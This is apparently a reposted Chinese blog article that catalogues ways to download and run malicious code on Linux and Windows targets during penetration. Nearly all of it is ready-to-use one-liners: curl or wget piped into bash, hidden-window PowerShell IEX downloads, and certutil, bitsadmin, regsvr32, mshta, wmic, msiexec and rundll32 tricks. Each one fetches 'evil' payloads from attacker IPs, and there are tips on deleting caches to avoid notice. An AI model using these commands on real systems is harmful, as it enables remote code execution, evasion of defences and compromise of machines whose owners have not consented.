| 导读 | 在渗透过程中，攻击者往往需要通过下载执行恶意代码，实现信息收集、持久化、权限提升、防御绕过、提取凭证、横向移动、数据渗出等操作。 |
在渗透过程中，攻击者往往需要通过下载执行恶意代码，实现信息收集、持久化、权限提升、防御绕过、提取凭证、横向移动、数据渗出等操作。
在目标主机执行恶意代码，可以分为上传/下载并执行恶意代码和无文件远程恶意代码执行。接下来，我们来总结一下Linux和Windows中下载和执行恶意代码的一些姿势。
以用curl的方式执行http页面上的，无需download，在本地机器上直接执行。
方式1：curl -fsSL //192.168.99.19:8080/test.sh | bash 方式2：bash < <( curl //192.168.99.19:8080/test.sh )
执行wget命令远程下载恶意程序。
方式1：wget -q -O- //192.168.99.19:8080/test.sh | bash 方式2：wget //192.168.99.19:8080/shell.txt -O /tmp/x.php && php /tmp/x.php
curl+wget合并，实现无文件远程恶意代码执行。
bash -c '(curl -fsSL //192.168.99.19:8080/test.sh|| wget -q -O- //192.168.99.19:8080/test.sh)|bash -sh >/dev/null 2>&1&'
rcp命令用于复制远程文件或目录。
rcp root@x.x.x.x:./testfile testfile
scp 是 rcp 的加强版，scp 是加密的，rcp 是不加密的。
scp username@servername:/path/filename /tmp/local_destination
使用rsync可以进行远程同步，拉取文件到本地服务器。
rsync -av x.x.x.x:/tmp/passwd.txt /tmp/passwd.txt
使用sftp下载远程服务器上的文件。
sftp admin@192.168.99.242 <
利用powershell远程执行ps1。
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('//192.168.28.128/evil.txt'))"
利用bitsadmin命令下载文件到目标机器。
bitsadmin /transfer n //192.168.28.128/imag/evil.txt d:\test\1.txt
用于备份证书服务，一般建议下载完文件后对缓存进行删除。
#下载文件 certutil -urlcache -split -f //192.168.28.128/imag/evil.txt test.php #删除缓存 certutil -urlcache -split -f //192.168.28.128/imag/evil.txt delete
使用rundll32.exe，可以通过mshtml.dll执行JavaScript ，依赖于WScript.shell这个组件
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","//192.168.28.131:8888/connect",false);try{h.Send();b=h.ResponseText;;}
远程加载执行，解析.src文件。
regsvr32.exe /u /n /s /i://192.168.28.131:8888/file.sct scrobj.dll
执行WMIC以下命令从远程服务器下载并运行恶意XSL文件：
wmic os get /FORMAT:"//192.168.28.128/evil.xsl"
用于安装Windows Installer安装包，可远程执行msi文件。
msiexec /q /i //192.168.28.128/evil.msi
IEexec.exe应用程序是.NET Framework附带程序，运行IEExec.exe并使用url启动其他程序。
crosoft.NET\Framework64\v2.0.50727>caspol.exe -s off C:\Windows\Microsoft.NET\Framework64\v2.0.50727>IEExec.exe //192.168.28.131/evil.exe
mshta用于执行.hta文件
mshta //192.168.28.128/run.hta
msxsl.exe是微软用于命令行下处理XSL的一个程序
msxsl //192.168.28.128/scripts/demo.xml //192.168.28.128/scripts/exec.xsl
在Windows 7以上版本存在一个名为pubprn.vbs的微软已签名WSH脚本，可以利用来解析.sct脚本：
"C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs" 127.0.0.1 script:https:
原文来自：
本文地址：//q13zd.cn/download-malicious-code.html编辑：圆蛋，审核员：逄增宝
Linux命令大全：
Linux系统大全：
红帽认证RHCE考试心得：
